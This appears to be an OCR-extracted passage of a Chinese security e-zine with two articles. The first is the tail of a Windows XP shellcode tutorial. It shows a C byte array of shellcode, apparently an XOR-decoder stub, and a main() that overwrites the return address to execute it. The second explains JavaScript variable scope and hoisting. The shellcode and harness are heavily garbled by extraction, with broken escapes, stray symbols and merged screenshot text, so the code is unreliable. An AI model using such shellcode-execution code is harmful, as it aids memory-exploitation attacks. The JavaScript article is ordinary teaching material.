unsigned char szShellcode[0x1000] "\x90\x90\xeb\x10\x5a\x4a\x33\xc9\ "\xe2\xfa\xeb\x05\xe8\xeb\xff\xff "\x7f\x9c\x97\x97\xfa\xe4\xe1\ "\xfb\xfb\x97\x2f\xe2\xea\x8a\x17\xeb\ "\xf3\xb9\xf2\xef\xf2\x97\x2f\xc50\	= ,×66\xb9\x88\x01\x80\x34\x8a\x97'' ,×F4\xe5\xe3\xb9\xF3'' ,×64\xe5\xe3\xb9\xF3'' ,×64\x47\x7F\x9F\x97\x97\xF4\xFa'' ,×64\x28\xe8\x68\x47\x07\x07\x07\x87'';				
<pre>int main(int argc, char* argv[])</pre>	🚥 "C:\Documents and Settings\Administrator\桌面\shellcode\Debug\she				
<pre>{     int *ret;     ret = (int *)&amp;ret + 2; //ret *     //(+3是因为, 有push ebp ,否则     (*ret) = (int)szShellcode; //f</pre>	Microsoft Windows XP (版本 5.1.2600) <cc) 1985-2001="" corp.<br="" microsoft="" 版权所有="">C:\Documents and Settings\Administrator\桌面\shellcode&gt;dir 吸动器 C 中的卷没有标签。 卷的序列号是 2071-4888</cc)>				
return 0; >	C:\Documents and Settings\Administrator\桌面\shellcode 的目录				
	2013-03-05 20:11 <dir> .</dir>				
•	2813-03-05 28:11 <dir> 2013-03-05 28:10 ////////////////////////////////////</dir>				
ror(s), 0 warning(s)	2013-03-05 20:11 (DIR) ( Debug				
₽査扶 〉 在文件2甲査扶 〉 结果 】 ・	2013-03-04 00:20 1.5/3/900001.00000 1201 2013-03-04 00:20 3.445-00000.010				

图 5.1.10 运行结果

正常执行 ......

} foo();

**PS:** 由于篇幅、精力,能力等因素,文章未面面俱到,有兴趣的可以多利用闲余时间查看 相关书籍。

(全文完)责任编辑: IceSn0w&&飞云

## 第6节.关于 javascript 中的作用域

```
作者: ty4z2008
来自: OxSafe Team
网址: http://www.Oxsafes.com/
作用域指代变量或者是函数的有效范围。
先来看个示例一
<script type="text/javascript">
var name = "test1"
function foo(){
var name = "test2"
alert(name);
name = "test3";
alert(name);
```

对于上面的运行结果,很多刚刚入门的朋友有时在脑海中会有这样一个概念: var 是局部 变量,没有的就是全局变量,如果两个变量同时存在,var 在前的,没有 var 在后面的就

是全局覆盖局部。那么上面的结果就是: test2, test3, test3;但是结果确不是这样的,正

确的是: test2, test3, test1; 有人会问这是怎么回事, 难道书上会瞎扯?

function foo(){	
var name ="test2"	
alert(name);	
name = "test3";	
alert(name);	
}	
这段代码其实等价于:	
function foo(){	
function foo(){ var name;	
function foo(){ var name; name ="test2"	
function foo(){ var name; name ="test2" alert(name);	
function foo(){ var name; name ="test2" alert(name); name = "test3";	
function foo(){ var name; name ="test2" alert(name); name = "test3"; alert(name);	

这函数里面的那么其实定义的就是一个局部变量,下面的 name=" test3"其实是等于一个赋值; 所以外部根本就访问不到函数内部的变量,所以结果会是: test2, test3, test1;

那么把示例一中的代码修改一下:

var name = "test1"
function foo(){
name = "test2";
name = "test3";
}
foo()
alert(name);

那么这个结果又变化了,a

当在某个环境中为了读取或写入而引用一个标识符时,必须通过搜索来确定该标识符实际 代表什么,搜索过程始终从作用域链的前端开始,向上逐级查询与给定名字匹配的标识符。 如果在局部环境中找到了该标识符,搜索过程就会停止,变量就绪。否则继续向上级搜索 直到找到标识符为止(如果在全局环境都找不到标识符,则意味着该变量未声明,通常会 导致错误发生)

我的老师曾经教导我说: "尽量不要使用全局变量."这几天看汤姆大叔的 js 设计模式中 提到了,当你的应用里面定义了一个全局变量 temp,假如你的应用调用了第三方 js 文件, 第三方里面也有一个 temp,那么结果会怎样?有可能是第三方调用的死掉或者是自己的代 码死掉。所以对于变量我们尽量使用局部变量用完及焚。

如果确实是要使用那么不要忘记了可爱的 var 关键字。

神	奇	的	var	:

function foo(){
var element = document.getHeight("200"),

```
style = element.style
}
```

上面这个 element 与 style 在这函数里面使用了之后似乎还可以做其他的事情。 我来改改上面那个例子:

name = "test1"
function foo(){
alert(name);
var name = "test3";
alert(name);
}
foo();
alert(name);

有人会认为他的结果是:test1,test3,test1;但是实际上确是:undefined,test3,test1; 因为在 js 中所有的函数声明在运行时都会把变量置顶到函数的顶部,在这个例子里面代码 其实可以这样理解:

name = "test1"
function foo(){
var name //声明了并没有赋值
alert(name);
var name = "test3";
alert(name);
}
foo();
alert(name):

这段代码在解析的时因为在函数 foo() 里面有一个 var name = "test3",所以在解析的时候把 第一个 alert(name)中的那么当作了局部变量来声明,但是没有复杂所以就会是 undefined。 各位可以验证一下,在一个 alert 下面加一个 alert(name in window)弹出来的应该是 true; 每个函数被执行都是有一个"上下文",上下文指代的是当前函数执行的环境;当上下文环 境被创建的时候,他的作用域链会初始化当前函数包含的所有对象。这些值按照它们出现 在函数中的顺序被复制到运行期上下文的作用域链中。然后组成了一个新的对象,叫"活动 对象",这个对象包含了运行函数的所有局部变量、参数集合、命名参数以及 this,然后此 对象会被置顶到作用域链的前端,当运行期上下文被销毁,这个活动对象也随之被销毁(用 完及焚)。最后特别值得提醒: javascript 是没有块级作用域的,不想 C/C++,JAVA 等语言。 本人文笔较挫,不当之处还请批评。

(全文完)责任编辑:飞云